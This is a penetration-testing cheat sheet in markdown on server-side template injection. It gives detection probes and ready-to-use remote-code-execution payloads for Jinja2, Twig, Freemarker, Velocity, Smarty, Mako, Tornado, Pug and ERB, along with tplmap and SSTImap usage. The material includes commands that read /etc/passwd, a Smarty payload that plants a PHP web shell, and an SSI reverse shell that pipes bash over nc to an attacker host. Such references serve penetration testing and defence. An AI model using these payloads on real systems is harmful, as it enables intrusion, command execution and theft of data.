Skip to content

Latest commit

 

History

History
347 lines (245 loc) · 6.4 KB

File metadata and controls

347 lines (245 loc) · 6.4 KB

Server-Side Template Injection (SSTI)

Table of Contents


Detection

Quick Check (One-liner)

# Test SSTI payloads: {{7*7}} ${7*7} <%= 7*7 %>
for p in '{{7*7}}' '${7*7}' '<%= 7*7 %>'; do echo "Test: $p -> if returns 49, vulnerable"; done

Basic Test Payloads

{{7*7}}
${7*7}
<%= 7*7 %>
#{7*7}
*{7*7}
@(7*7)
{{7*'7'}}

Detection Flow

  1. Inject math operation: {{7*7}}
  2. If output is 49 → Likely vulnerable
  3. If output is {{7*7}} → Not vulnerable or different syntax
  4. Try other syntaxes: ${7*7}, <%= 7*7 %>

Template Engine Identification

Payload Jinja2/Twig Smarty Freemarker Velocity
{{7*7}} 49 49 49 -
${7*7} - - 49 49
{{7*'7'}} 7777777 49 Error -
<%= 7*7 %> - - - - (ERB)

Template Engines

Jinja2 (Python)

Jinja2 Detection

{{7*7}}
{{7*'7'}}
{{config.items()}}

Read Config

{{config}}
{{config.items()}}
{{self.__init__.__globals__.__builtins__.__import__('os').popen('id').read()}}

Jinja2 RCE Payloads

{{''.__class__.__mro__[1].__subclasses__()}}
{{''.__class__.__base__.__subclasses__()}}
# Note: Index [408] varies by Python version - find subprocess.Popen with:
# {{''.__class__.__mro__[1].__subclasses__()}} then search for Popen
{{''.__class__.__mro__[1].__subclasses__()[<index>]('id',shell=True,stdout=-1).communicate()}}
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
{{request.__class__._load_form_data.__globals__.__builtins__.__import__('os').popen('id').read()}}

Flask-Specific

{{request.application.__self__._get_data_for_json.__globals__.__builtins__.__import__('os').popen('id').read()}}

Dump All Classes

{{ [].__class__.__base__.__subclasses__() }}

Twig (PHP)

Twig Detection

{{7*7}}
{{7*'7'}}
{{_self.env.display("TEST")}}

Read File

{{"/etc/passwd"|file_excerpt(1,30)}}

Twig RCE Payloads

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{['id']|filter('system')}}
{{['cat /etc/passwd']|filter('exec')}}
{{app.request.server.all|join(',')}}

Freemarker (Java)

Freemarker Detection

${7*7}
<#assign x = 7*7>${x}

Freemarker RCE Payloads

<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("id") }
${"freemarker.template.utility.Execute"?new()("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}

Velocity (Java)

Velocity Detection

#set($x = 7*7)${x}
$class

Velocity RCE Payloads

#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("id"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])$chr.toChars($out.read())#end

Smarty (PHP)

Smarty Detection

{$smarty.version}
{7*7}

Smarty RCE Payloads

{php}echo `id`;{/php}
{system('id')}
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}

Mako (Python)

Mako Detection

${7*7}

Mako RCE Payloads

<%import os; x=os.popen('id').read() %>${x}
${self.module.cache.util.os.popen('id').read()}

Tornado (Python)

Tornado Detection

{{7*7}}

Tornado RCE Payloads

{% import os %}{{os.system('id')}}
{% import os %}{{os.popen('id').read()}}

Jade/Pug (Node.js)

Pug Detection

#{7*7}

Pug RCE Payloads

#{root.process.mainModule.require('child_process').spawnSync('id').stdout}

ERB (Ruby)

ERB Detection

<%= 7*7 %>

ERB RCE Payloads

<%= system("id") %>
<%= `id` %>
<%= IO.popen('id').readlines() %>

Automation

tplmap

https://github.com/epinna/tplmap

# Basic usage
python tplmap.py -u 'http://$rhost/page?name=test'

# POST request
python tplmap.py -u 'http://$rhost/page' --data 'name=test'

# OS Shell
python tplmap.py -u 'http://$rhost/page?name=test' --os-shell

SSTImap

https://github.com/vladko312/SSTImap

python sstimap.py -u 'http://$rhost/page?name=test'
python sstimap.py -u 'http://$rhost/page?name=test' -e Jinja2

SSI Injection

SSI Detection

<!--#echo var="DATE_LOCAL" -->
<!--#printenv -->

RCE

<!--#exec cmd="id" -->
<!--#exec cmd="whoami" -->
<!--#exec cmd="cat /etc/passwd" -->

Reverse Shell

<!--#exec cmd="mkfifo /tmp/foo;nc $lhost $lport 0</tmp/foo|/bin/bash 1>/tmp/foo;rm /tmp/foo" -->

Payload Cheat Sheet

Engine Detection RCE
Jinja2 {{7*'7'}}7777777 {{config.__class__.__init__.__globals__['os'].popen('id').read()}}
Twig {{7*'7'}}49 {{['id']|filter('system')}}
Freemarker ${7*7} ${"freemarker.template.utility.Execute"?new()("id")}
Velocity #set($x = 7*7)${x} Runtime.getRuntime().exec()
Smarty {$smarty.version} {system('id')}
Mako ${7*7} <%import os; x=os.popen('id').read() %>${x}
Tornado {{7*7}} {% import os %}{{os.popen('id').read()}}
ERB <%= 7*7 %> <%= system("id") %>

📚 See Also

Related Web Attacks

Reverse Shell & Post-Exploitation